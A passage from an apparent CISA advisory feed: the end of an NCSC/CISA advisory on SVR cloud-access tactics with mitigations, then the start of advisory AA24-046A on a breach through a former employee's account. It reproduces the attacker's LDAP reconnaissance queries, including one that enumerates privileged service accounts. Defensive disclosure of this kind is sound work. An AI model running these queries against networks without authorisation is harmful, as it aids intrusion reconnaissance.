  2540. &lt;li&gt;&lt;a href="https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise" title="UK and US call out Russia for SolarWinds compromise"&gt;The supply chain compromise of SolarWinds software&lt;/a&gt;.&lt;/li&gt;
  2541. &lt;li&gt;&lt;a href="https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf" title="Advisory: APT29 targets COVID-19 vaccine development"&gt;Activity that targeted organizations developing the COVID-19 vaccine&lt;/a&gt;.&lt;/li&gt;
  2542. &lt;/ul&gt;
  2543. &lt;h3&gt;&lt;strong&gt;EVOLVING&amp;nbsp;TTPs&lt;/strong&gt;&lt;/h3&gt;
  2544. &lt;p&gt;As organizations continue to modernize their systems and move to cloud-based infrastructure, the SVR has adapted to these changes in the operating environment.&lt;/p&gt;
  2545. &lt;p&gt;They have to move beyond their traditional means of initial access, such as exploiting software vulnerabilities in an on-premises network, and instead target the cloud services themselves.&lt;/p&gt;
  2546. &lt;p&gt;To access the majority of the victims’ cloud hosted network, actors must first successfully authenticate to the cloud provider. Denying initial access to the cloud environment can prohibit SVR from successfully compromising their target. In contrast, in an on-premises system, more of the network is typically exposed to threat actors.&lt;/p&gt;
  2547. &lt;p&gt;Below describes in more detail how SVR actors are adapting to continue their cyber operations for intelligence gain. These TTPs have been observed in the last 12 months.&lt;/p&gt;
  2548. &lt;h3&gt;&lt;strong&gt;ACCESS VIA SERVICE AND DORMANT ACCOUNTS&lt;/strong&gt;&lt;/h3&gt;
  2549. &lt;p&gt;Previous SVR campaigns reveal the actors have successfully used brute forcing [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1110/" title="Brute Force"&gt;T1110&lt;/a&gt;] and password spraying to access service accounts. This type of account is typically used to run and manage applications and services. There is no human user behind them so they cannot be easily protected with multi-factor authentication (MFA), making these accounts more susceptible to a successful compromise. Service accounts are often also highly privileged depending on which applications and services they’re responsible for managing. Gaining access to these accounts provides threat actors with privileged initial access to a network, to launch further operations.&lt;/p&gt;
  2550. &lt;p&gt;SVR campaigns have also targeted dormant accounts belonging to users who no longer work at a victim organization but whose accounts remain on the system [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/004/" title="Valid Accounts: Cloud Accounts"&gt;T1078.004&lt;/a&gt;].&lt;/p&gt;
  2551. &lt;p&gt;Following an enforced password reset for all users during an incident, SVR actors have also been observed logging into inactive accounts and following instructions to reset the password. This has allowed the actor to regain access following incident response eviction activities.&lt;/p&gt;
  2552. &lt;h3&gt;&lt;strong&gt;CLOUD-BASED TOKEN AUTHENTICATION&lt;/strong&gt;&lt;/h3&gt;
  2553. &lt;p&gt;Account access is typically authenticated by either username and password credentials or system-issued access tokens. The NCSC and partners have observed SVR actors using tokens to access their victims’ accounts, without needing a password [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1528/" title="Steal Application Access Token"&gt;T1528&lt;/a&gt;].&lt;/p&gt;
  2554. &lt;p&gt;The default validity time of system-issued tokens varies dependent on the system; however, cloud platforms should allow administrators to adjust the validity time as appropriate for their users. More information can be found on this in the mitigations section of this advisory.&lt;/p&gt;
  2555. &lt;h3&gt;&lt;strong&gt;ENROLLING NEW DEVICES TO THE CLOUD&lt;/strong&gt;&lt;/h3&gt;
  2556. &lt;p&gt;On multiple occasions, the SVR have successfully bypassed password authentication on personal accounts using password spraying and credential reuse. SVR actors have also then bypassed MFA through a technique known as “MFA bombing”&amp;nbsp;or “MFA fatigue,” in which the actors repeatedly push MFA requests to a victim’s device until the victim accepts the notification [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1621/" title="Multi-Factor Authentication Request Generation"&gt;T1621&lt;/a&gt;].&lt;/p&gt;
  2557. &lt;p&gt;Once an actor has bypassed these systems to gain access to the cloud environment, SVR actors have been observed registering their own device as a new device on the cloud tenant [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1098/005/" title="Account Manipulation: Device Registration"&gt;T1098.005&lt;/a&gt;]. If device validation rules are not set up, SVR actors can successfully register their own device and gain access to the network.&lt;/p&gt;
  2558. &lt;p&gt;By configuring the network with device enrollment policies, there have been instances where these measures have defended against SVR actors and denied them access to the cloud tenant.&lt;/p&gt;
  2559. &lt;h3&gt;&lt;strong&gt;RESIDENTIAL PROXIES&lt;/strong&gt;&lt;/h3&gt;
  2560. &lt;p&gt;As network-level defenses improve detection of suspicious activity, SVR actors have looked at other ways to stay covert on the internet. A TTP associated with this actor is the use of residential proxies [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1090/002/" title="Proxy: External Proxy"&gt;T1090.002&lt;/a&gt;]. Residential proxies typically make traffic appear to originate from IP addresses within internet service provider (ISP) ranges used for residential broadband customers and hide the true source. This can make it harder to distinguish malicious connections from typical users. This reduces the effectiveness of network defenses that use IP addresses as indicators of compromise, and so it is important to consider a variety of information sources such as application and host-based logging for detecting suspicious activity.&lt;/p&gt;
  2561. &lt;h3&gt;&lt;strong&gt;CONCLUSION&lt;/strong&gt;&lt;/h3&gt;
  2562. &lt;p&gt;The SVR is a sophisticated actor capable of carrying out a global supply chain compromise such as the 2020 SolarWinds, however the guidance in this advisory shows that a strong baseline of cyber security fundamentals can help defend from such actors.&lt;/p&gt;
  2563. &lt;p&gt;For organizations that have moved to cloud infrastructure, a first line of defense against an actor such as SVR should be to protect against SVR’s TTPs for initial access. By following the mitigations outlined in this advisory, organizations will be in a stronger position to defend against this threat.&lt;/p&gt;
  2564. &lt;p&gt;Once the SVR gain initial access, the actor is capable of deploying highly sophisticated post compromise capabilities such as &lt;a href="https://www.microsoft.com/en-us/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/" title="MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone"&gt;MagicWeb&lt;/a&gt;, as reported in 2022. Therefore, mitigating against the SVR’s initial access vectors is particularly important for network defenders.&lt;/p&gt;
  2565. &lt;p&gt;CISA have also produced guidance through their &lt;a href="https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project" title="Secure Cloud Business Applications (SCuBA) Project"&gt;Secure Cloud Business Applications (SCuBA) Project&lt;/a&gt; which is designed to protect assets stored in cloud environments.&lt;/p&gt;
  2566. &lt;p&gt;Some of the TTPs listed in this report, such as residential proxies and exploitation of system accounts, are similar to those reported as recently as January 2024 by &lt;a href="https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/" title="Midnight Blizzard: Guidance for responders on nation-state attack"&gt;Microsoft&lt;/a&gt;.&lt;/p&gt;
  2567. &lt;h3&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK®&lt;/strong&gt;&lt;/h3&gt;
  2568. &lt;p&gt;This report has been compiled with respect to the MITRE ATT&amp;amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.&lt;/p&gt;
  2569. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  2570. &lt;thead&gt;
  2571. &lt;tr&gt;
  2572. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Tactic&lt;/strong&gt;&lt;/th&gt;
  2573. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  2574. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Technique&lt;/strong&gt;&lt;/th&gt;
  2575. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Procedure&lt;/strong&gt;&lt;/th&gt;
  2576. &lt;/tr&gt;
  2577. &lt;/thead&gt;
  2578. &lt;tbody&gt;
  2579. &lt;tr&gt;
  2580. &lt;td&gt;
  2581. &lt;p&gt;&lt;strong&gt;Credential Access &lt;/strong&gt;&lt;/p&gt;
  2582. &lt;/td&gt;
  2583. &lt;td&gt;
  2584. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1110/" title="Brute Force"&gt;T1110&lt;/a&gt;&lt;/p&gt;
  2585. &lt;/td&gt;
  2586. &lt;td&gt;
  2587. &lt;p&gt;Brute Force&lt;/p&gt;
  2588. &lt;/td&gt;
  2589. &lt;td&gt;
  2590. &lt;p&gt;The SVR use password spraying and brute forcing as an initial infection vector.&lt;/p&gt;
  2591. &lt;/td&gt;
  2592. &lt;/tr&gt;
  2593. &lt;tr&gt;
  2594. &lt;td&gt;
  2595. &lt;p&gt;&lt;strong&gt;Initial Access&lt;/strong&gt;&lt;/p&gt;
  2596. &lt;/td&gt;
  2597. &lt;td&gt;
  2598. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/004/" title="Valid Accounts: Cloud Accounts"&gt;T1078.004&lt;/a&gt;&lt;/p&gt;
  2599. &lt;/td&gt;
  2600. &lt;td&gt;
  2601. &lt;p&gt;Valid Accounts: Cloud Accounts&lt;/p&gt;
  2602. &lt;/td&gt;
  2603. &lt;td&gt;
  2604. &lt;p&gt;The SVR use compromised credentials to gain access to accounts for cloud services, including system and dormant accounts.&lt;/p&gt;
  2605. &lt;/td&gt;
  2606. &lt;/tr&gt;
  2607. &lt;tr&gt;
  2608. &lt;td&gt;
  2609. &lt;p&gt;&lt;strong&gt;Credential Access&lt;/strong&gt;&lt;/p&gt;
  2610. &lt;/td&gt;
  2611. &lt;td&gt;
  2612. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1528/" title="Steal Application Access Token"&gt;T1528&lt;/a&gt;&lt;/p&gt;
  2613. &lt;/td&gt;
  2614. &lt;td&gt;
  2615. &lt;p&gt;Steal Application Access Token&lt;/p&gt;
  2616. &lt;/td&gt;
  2617. &lt;td&gt;
  2618. &lt;p&gt;The SVR use stolen access tokens to login to accounts without the need for passwords.&lt;/p&gt;
  2619. &lt;/td&gt;
  2620. &lt;/tr&gt;
  2621. &lt;tr&gt;
  2622. &lt;td&gt;
  2623. &lt;p&gt;&lt;strong&gt;Credential Access&lt;/strong&gt;&lt;/p&gt;
  2624. &lt;/td&gt;
  2625. &lt;td&gt;
  2626. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1621/" title="Multi-Factor Authentication Request Generation"&gt;T1621&lt;/a&gt;&lt;/p&gt;
  2627. &lt;/td&gt;
  2628. &lt;td&gt;
  2629. &lt;p&gt;Multi-Factor Authentication Request Generation&lt;/p&gt;
  2630. &lt;/td&gt;
  2631. &lt;td&gt;
  2632. &lt;p&gt;The SVR repeatedly push MFA requests to a victim’s device until the victim accepts the notification, providing SVR access to the account.&lt;/p&gt;
  2633. &lt;/td&gt;
  2634. &lt;/tr&gt;
  2635. &lt;tr&gt;
  2636. &lt;td&gt;
  2637. &lt;p&gt;&lt;strong&gt;Command and Control&lt;/strong&gt;&lt;/p&gt;
  2638. &lt;/td&gt;
  2639. &lt;td&gt;
  2640. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1090/002/" title="Proxy: External Proxy"&gt;T1090.002&lt;/a&gt;&lt;/p&gt;
  2641. &lt;/td&gt;
  2642. &lt;td&gt;
  2643. &lt;p&gt;Proxy: External Proxy&lt;/p&gt;
  2644. &lt;/td&gt;
  2645. &lt;td&gt;
  2646. &lt;p&gt;The SVR use open proxies in residential IP ranges to blend in with expected IP address pools in access logs.&lt;/p&gt;
  2647. &lt;/td&gt;
  2648. &lt;/tr&gt;
  2649. &lt;tr&gt;
  2650. &lt;td&gt;
  2651. &lt;p&gt;&lt;strong&gt;Persistence&lt;/strong&gt;&lt;/p&gt;
  2652. &lt;/td&gt;
  2653. &lt;td&gt;
  2654. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1098/005/" title="Account Manipulation: Device Registration"&gt;T1098.005&lt;/a&gt;&lt;/p&gt;
  2655. &lt;/td&gt;
  2656. &lt;td&gt;
  2657. &lt;p&gt;Account Manipulation: Device Registration&lt;/p&gt;
  2658. &lt;/td&gt;
  2659. &lt;td&gt;
  2660. &lt;p&gt;The SVR attempt to register their own device on the cloud tenant after acquiring access to accounts.&lt;/p&gt;
  2661. &lt;/td&gt;
  2662. &lt;/tr&gt;
  2663. &lt;/tbody&gt;
  2664. &lt;/table&gt;
  2665. &lt;h3&gt;&lt;strong&gt;MITIGATION AND DETECTION&lt;/strong&gt;&lt;/h3&gt;
  2666. &lt;p&gt;A number of mitigations will be useful in defending against the activity described in this advisory:&amp;nbsp;&lt;/p&gt;
  2667. &lt;ul&gt;
  2668. &lt;li&gt;Use multi-factor authentication (/2-factor authentication/two-step verification) to reduce the impact of password compromises. See NCSC guidance: &lt;a href="https://www.ncsc.gov.uk/guidance/multi-factor-authentication-online-services" title="Multi-factor authentication for online services"&gt;Multifactor Authentication for Online Services&lt;/a&gt; and&amp;nbsp;&lt;a href="https://www.ncsc.gov.uk/guidance/setting-two-factor-authentication-2fa" title="Setting up 2-Step Verification (2SV)"&gt;Setting up 2-Step Verification (2SV)&lt;/a&gt;.&lt;/li&gt;
  2669. &lt;li&gt;Accounts that cannot use 2SV should have strong, unique passwords. User and system accounts should be disabled when no longer required with a “joiners, movers, and leavers” process in place and regular reviews to identify and disable inactive/dormant accounts. See NCSC guidance:&amp;nbsp;&lt;a href="https://www.ncsc.gov.uk/collection/10-steps/identity-and-access-management" title="10 Steps to Cyber Security"&gt;10 Steps to Cyber Security&lt;/a&gt;.&lt;/li&gt;
  2670. &lt;li&gt;System and service accounts should implement the principle of least privilege, providing tightly scoped access to resources required for the service to function.&lt;/li&gt;
  2671. &lt;li&gt;Canary service accounts should be created which appear to be valid service accounts but are never used by legitimate services. Monitoring and alerting on the use of these account provides a high confidence signal that they are being used illegitimately and should be investigated urgently.&lt;/li&gt;
  2672. &lt;li&gt;Session lifetimes should be kept as short as practical to reduce the window of opportunity for an adversary to use stolen session tokens. This should be paired with a suitable authentication method that strikes a balance between regular user authentication and user experience.&lt;/li&gt;
  2673. &lt;li&gt;Ensure device enrollment policies are configured to only permit authorized devices to enroll. Use zero-touch enrollment where possible, or if self-enrollment is required then use a strong form of 2SV that is resistant to phishing and prompt bombing. Old devices should be prevented from (re)enrolling when no longer required. See NCSC guidance:&amp;nbsp;&lt;a href="https://www.ncsc.gov.uk/collection/device-security-guidance/getting-ready/provisioning-and-distributing-devices" title="Device Security Guidance"&gt;Device Security Guidance&lt;/a&gt;.&lt;/li&gt;
  2674. &lt;li&gt;Consider a variety of information sources such as application events and host-based logs to help prevent, detect and investigate potential malicious behavior. Focus on the information sources and indicators of compromise that have a better rate of false positives. For example, looking for changes to user agent strings that could indicate session hijacking may be more effective than trying to identify connections from suspicious IP addresses. See NCSC guidance:&amp;nbsp;&lt;a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" title="Introduction to logging for security purposes"&gt;Introduction to Logging for Security Purposes&lt;/a&gt;.&lt;/li&gt;
  2675. &lt;/ul&gt;
  2676. &lt;h3&gt;&lt;strong&gt;DISCLAIMER&lt;/strong&gt;&lt;/h3&gt;
  2677. &lt;p&gt;This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.&lt;/p&gt;
  2678. &lt;p&gt;This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.&lt;/p&gt;
  2679. &lt;p&gt;Refer any FOIA queries to &lt;a href="mailto:ncscinfoleg@ncsc.gov.uk"&gt;ncscinfoleg@ncsc.gov.uk&lt;/a&gt;.&lt;/p&gt;
  2680. &lt;p&gt;All material is UK Crown Copyright.&lt;/p&gt;
  2681. </description>
  2682.  <pubDate>Fri, 23 Feb 2024 12:37:53 EST</pubDate>
  2683.    <dc:creator>CISA</dc:creator>
  2684.    <guid isPermaLink="false">/node/21015</guid>
  2685.    </item>
  2686. <item>
  2687.  <title>Threat Actor Leverages Compromised Account of Former Employee to Access State Government Organization</title>
  2688.  <link>https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-046a</link>
  2689.  <description>&lt;h3&gt;&lt;strong&gt;SUMMARY&lt;/strong&gt;&lt;/h3&gt;
  2690. &lt;p&gt;The Cybersecurity and Infrastructure Security Agency (CISA) and the Multi-State Information Sharing &amp;amp; Analysis Center (MS-ISAC) conducted an incident response assessment of a state government organization’s network environment after documents containing host and user information, including metadata, were posted on a dark web brokerage site. Analysis confirmed that an unidentified threat actor compromised network administrator credentials through the account of a former employee—a technique commonly leveraged by threat actors—to successfully authenticate to an internal virtual private network (VPN) access point, further navigate the victim’s on-premises environment, and execute various lightweight directory access protocol (LDAP) queries against a domain controller.[&lt;a href="https://www.cisa.gov/sites/default/files/2023-07/FY22-RVA-Analysis%20-%20Final_508c.pdf" title="CISA Analysis: Fiscal Year 2022 Risk and Vulnerability Assessments"&gt;1&lt;/a&gt;] Analysis also focused on the victim’s Azure environment, which hosts sensitive systems and data, as well as the compromised on-premises environment. Analysis determined there were no indications the threat actor further compromised the organization by moving laterally from the on-premises environment to the Azure environment.&lt;/p&gt;
  2691. &lt;p&gt;CISA and MS-ISAC are releasing this Cybersecurity Advisory (CSA) to provide network defenders with the tactics, techniques, and procedures (TTPs) used by the threat actor and methods to protect against similar exploitation of both unnecessary and privileged accounts.&lt;/p&gt;
  2692. &lt;p&gt;Download the PDF version of this report:&lt;/p&gt;
  2693.  
  2694.  
  2695.  
  2696.  
  2697.  
  2698. &lt;div class="c-file"&gt;
  2699.    &lt;div class="c-file__download"&gt;
  2700.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-02/aa24-046a-threat-actor-leverages-compromised%20account-of%20former-employee.pdf" class="c-file__link" target="_blank"&gt;AA24-046A Threat Actor Leverages Compromised Account of Former Employee to Access State Government Organization&lt;/a&gt;
  2701.    &lt;span class="c-file__size"&gt;(PDF,       499.99 KB
  2702.  )&lt;/span&gt;
  2703.  &lt;/div&gt;
  2704. &lt;/div&gt;
  2705. &lt;h3&gt;&lt;strong&gt;TECHNICAL DETAILS&lt;/strong&gt;&lt;/h3&gt;
  2706. &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This advisory uses the &lt;a href="https://attack.mitre.org/versions/v14/matrices/enterprise/" title="Enterprise Matrix"&gt;MITRE ATT&amp;amp;CK for Enterprise&lt;/a&gt; framework, version 14. See the MITRE ATT&amp;amp;CK Tactics and Techniques section for a table of the threat actor’s activity mapped to MITRE ATT&amp;amp;CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;amp;CK framework, see CISA and MITRE ATT&amp;amp;CK’s &lt;a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;amp;CK Mapping"&gt;Best Practices for MITRE ATT&amp;amp;CK Mapping&lt;/a&gt; and CISA’s &lt;a href="https://github.com/cisagov/Decider/" title="cisagov / decider"&gt;Decider Tool&lt;/a&gt;.&lt;/p&gt;
  2707. &lt;h4&gt;&lt;strong&gt;Overview&lt;/strong&gt;&lt;/h4&gt;
  2708. &lt;p&gt;A state government organization was notified that documents containing host and user information, including metadata, were posted on a dark web brokerage site. After further investigation, the victim organization determined that the documents were accessed via the compromised account of a former employee. Threat actors commonly leverage valid accounts, including accounts of former employees that have not been properly removed from the Active Directory (AD), to gain access to organizations.[&lt;a href="https://www.cisa.gov/sites/default/files/2023-07/FY22-RVA-Analysis%20-%20Final_508c.pdf" title="CISA Analysis: Fiscal Year 2022 Risk and Vulnerability Assessments"&gt;1&lt;/a&gt;] CISA and MS-ISAC assessed that an unidentified threat actor likely accessed documents containing host and user information to post on the dark web for profit after gaining access through the account of a former employee.&lt;/p&gt;
  2709. &lt;p&gt;The scope of this investigation included the victim organization’s on-premises environment, as well as their Azure environment, which hosts sensitive systems and data. Analysis determined the threat actor did not move laterally from the compromised on-premises network to the Azure environment and did not compromise sensitive systems.&lt;/p&gt;
  2710. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Untitled Goose Tool&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  2711. &lt;p&gt;Incident responders collected Azure and Microsoft Defender for Endpoint (MDE) logs using CISA’s &lt;a href="https://www.cisa.gov/resources-tools/resources/untitled-goose-tool-fact-sheet" title="Untitled Goose Tool Fact Sheet"&gt;Untitled Goose Tool&lt;/a&gt;—a free tool to help network defenders detect potentially malicious activity in Microsoft Azure, Azure Active Directory (AAD), and Microsoft 365 (M365) environments. CISA developed the Untitled Goose Tool to export and review AAD sign-in and audit logs, M365 unified audit logs (UAL), Azure activity logs, and MDE data. By exporting cloud artifacts, Untitled Goose Tool supports incident response teams with environments that do not ingest logs into a security information and event management (SIEM) tool.&lt;/p&gt;
  2712. &lt;h4&gt;&lt;strong&gt;Threat Actor Activity&lt;/strong&gt;&lt;/h4&gt;
  2713. &lt;p&gt;The logs revealed the threat actor first connected from an unknown virtual machine (VM) to the victim’s on-premises environment via internet protocol (IP) addresses within their internal VPN range. CISA and MS-ISAC assessed that the threat actor connected to the VM through the victim’s VPN [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1133/" title="External Remote Services"&gt;T1133&lt;/a&gt;] with the intent to blend in with legitimate traffic to evade detection.&lt;/p&gt;
  2714. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Initial Access: Compromised Domain Accounts&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  2715. &lt;p&gt;&lt;strong&gt;USER1&lt;/strong&gt;: The threat actor gained initial access through the compromised account of a former employee with administrative privileges (&lt;code&gt;USER1&lt;/code&gt;) [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/002/" title="Valid Accounts: Domain Accounts"&gt;T1078.002&lt;/a&gt;] to conduct reconnaissance and discovery activities. The victim organization confirmed that this account was not disabled immediately following the employee’s departure.&lt;/p&gt;
  2716. &lt;ul&gt;
  2717. &lt;li&gt;The threat actor likely obtained the &lt;code&gt;USER1&lt;/code&gt; account credentials in a separate data breach due to the credentials appearing in publicly available channels containing leaked account information [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1589/001/" title="Gather Victim Identity Information: Credentials"&gt;T1589.001&lt;/a&gt;].&lt;/li&gt;
  2718. &lt;li&gt;&lt;code&gt;USER1&lt;/code&gt; had access to two virtualized servers including SharePoint and the workstation of the former employee. The workstation was virtualized from a physical workstation using the Veeam Physical to Virtual (P2V) function within the backup software.&lt;/li&gt;
  2719. &lt;/ul&gt;
  2720. &lt;p&gt;&lt;strong&gt;USER2&lt;/strong&gt;: The threat actor likely obtained the &lt;code&gt;USER2&lt;/code&gt; account credentials from the virtualized SharePoint server managed by &lt;code&gt;USER1&lt;/code&gt; [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1213/002/" title="Data from Information Repositories: Sharepoint"&gt;T1213.002&lt;/a&gt;]. The victim confirmed that the administrator credentials for &lt;code&gt;USER2&lt;/code&gt; were stored locally on this server [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1552/001/" title="Unsecured Credentials: Credentials In Files"&gt;T1552.001&lt;/a&gt;].&lt;/p&gt;
  2721. &lt;ul&gt;
  2722. &lt;li&gt;Through connection from the VM, the threat actor authenticated to multiple services [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1021/" title="Remote Services"&gt;T1021&lt;/a&gt;] via the &lt;code&gt;USER1&lt;/code&gt; account, as well as from an additional compromised global domain administrator account (&lt;code&gt;USER2&lt;/code&gt;) [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/002/" title="Valid Accounts: Domain Accounts"&gt;T1078.002&lt;/a&gt;].&lt;/li&gt;
  2723. &lt;/ul&gt;
  2724. &lt;ul&gt;
  2725. &lt;li&gt;The threat actor’s use of the &lt;code&gt;USER2&lt;/code&gt; account was impactful due to the access it granted to both the on-premises AD and Azure AD [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1021/007/" title="Remote Services: Cloud Services"&gt;T1021.007&lt;/a&gt;], thus enabling administrative privileges [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/004/" title="Valid Accounts: Cloud Accounts"&gt;T1078.004&lt;/a&gt;].&lt;/li&gt;
  2726. &lt;/ul&gt;
  2727. &lt;p&gt;Following notification of the dark web posting, the victim organization immediately disabled the &lt;code&gt;USER1&lt;/code&gt; account and took the two virtualized servers associated with the former employee offline. The victim also changed the password for the &lt;code&gt;USER2&lt;/code&gt; account and removed administrator privileges. Neither of the administrative accounts had multifactor authentication (MFA) enabled.&lt;/p&gt;
  2728. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;LDAP Queries&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  2729. &lt;p&gt;Through connection from the VM, the threat actor conducted LDAP queries of the AD, likely using the open source tool &lt;code&gt;AdFind.exe&lt;/code&gt;, based on the format of the output. CISA and MS-ISAC assess the threat actor executed the LDAP queries [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1087/002/" title="Account Discovery: Domain Account"&gt;T1087.002&lt;/a&gt;] to collect user, host [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1018/" title="Remote System Discovery"&gt;T1018&lt;/a&gt;], and trust relationship information [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1482/" title="Domain Trust Discovery"&gt;T1482&lt;/a&gt;]. It is also believed the LDAP queries generated the text files the threat actor posted for sale on the dark web brokerage site: &lt;code&gt;ad_users.txt&lt;/code&gt;, &lt;code&gt;ad_computers.txt&lt;/code&gt;, and &lt;code&gt;trustdmp.txt&lt;/code&gt;.&lt;/p&gt;
  2730. &lt;p&gt;Table 1 lists all queries that were conducted between 08:39:43-08:40:56 Coordinated Universal Time (UTC).&lt;/p&gt;
  2731. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  2732. &lt;caption&gt;&lt;em&gt;Table 1: LDAP Queries Conducted by the Threat Actor&lt;/em&gt;&lt;/caption&gt;
  2733. &lt;thead&gt;
  2734. &lt;tr&gt;
  2735. &lt;td&gt;&lt;strong&gt;Query&lt;/strong&gt;&lt;/td&gt;
  2736. &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;
  2737. &lt;/tr&gt;
  2738. &lt;/thead&gt;
  2739. &lt;tbody&gt;
  2740. &lt;tr&gt;
  2741. &lt;td&gt;
  2742. &lt;p&gt;LDAP Search Scope: WholeSubtree, Base Object: dc=[REDACTED],dc=local, Search Filter: (objectCategory=CN=Person,CN=Schema,CN=Configuration,DC=[REDACTED],DC=local)&lt;/p&gt;
  2743. &lt;/td&gt;
  2744. &lt;td&gt;
  2745. &lt;p&gt;Collects names and metadata of users in the domain.&lt;/p&gt;
  2746. &lt;/td&gt;
  2747. &lt;/tr&gt;
  2748. &lt;tr&gt;
  2749. &lt;td&gt;
  2750. &lt;p&gt;LDAP Search Scope: WholeSubtree, Base Object: dc=[REDACTED],dc=local, Search Filter: (objectCategory=CN=Computer,CN=Schema,CN=Configuration,DC=[REDACTED],DC=local)&lt;/p&gt;
  2751. &lt;/td&gt;
  2752. &lt;td&gt;
  2753. &lt;p&gt;Collects names and metadata of hosts in the domain.&lt;/p&gt;
  2754. &lt;/td&gt;
  2755. &lt;/tr&gt;
  2756. &lt;tr&gt;
  2757. &lt;td&gt;
  2758. &lt;p&gt;LDAP Search Scope: WholeSubtree, Base Object: dc=[REDACTED],dc=local, Search Filter: (objectCategory=CN=Trusted-Domain,CN=Schema,CN=Configuration,DC=[REDACTED],DC=local)&lt;/p&gt;
  2759. &lt;/td&gt;
  2760. &lt;td&gt;
  2761. &lt;p&gt;Collects trust information in the domain.&lt;/p&gt;
  2762. &lt;/td&gt;
  2763. &lt;/tr&gt;
  2764. &lt;tr&gt;
  2765. &lt;td&gt;
  2766. &lt;p&gt;LDAP Search Scope: WholeSubtree, Base Object: DC=[REDACTED],DC=local, Search Filter: ( &amp;amp;&amp;nbsp; ( &amp;amp;&amp;nbsp; (sAMAccountType=805306368)&amp;nbsp; (servicePrincipalName=*) ( ! (sAMAccountName=krbtgt) ) ( !&amp;nbsp; (userAccountControl&amp;amp;2) ) )&amp;nbsp; (adminCount=1) )&lt;/p&gt;
  2767. &lt;/td&gt;
  2768. &lt;td&gt;
  2769. &lt;p&gt;Collects Domain Administrators and Service Principals in the domain.&lt;/p&gt;
  2770. &lt;/td&gt;
  2771. &lt;/tr&gt;
  2772. &lt;/tbody&gt;
  2773. &lt;/table&gt;
  2774. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Service Authentication&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  2775. &lt;p&gt;Through the VM connection, the threat actor was observed authenticating to various services on the victim organization’s network from the &lt;code&gt;USER1&lt;/code&gt; and &lt;code&gt;USER2&lt;/code&gt; administrative accounts.&amp;nbsp;In all instances, the threat actor authenticated to the Common Internet File Service (CIFS) on various endpoints [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/002/" title="Valid Accounts: Domain Accounts"&gt;T1078.002&lt;/a&gt;],[&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1021/002/" title="Remote Services: SMB/Windows Admin Shares"&gt;T1021.002&lt;/a&gt;]—a protocol used for providing shared access to files and printers between machines on the network. This was likely used for file, folder, and directory discovery [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1083/" title="File and Directory Discovery"&gt;T1083&lt;/a&gt;], and assessed to be executed in an automated manner.&lt;/p&gt;
  2776. &lt;ul&gt;
  2777. &lt;li&gt;&lt;code&gt;USER1&lt;/code&gt; authenticated to four services, presumably for the purpose of network and service discovery [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1046/" title="Network Service Discovery"&gt;T1046&lt;/a&gt;].&lt;/li&gt;
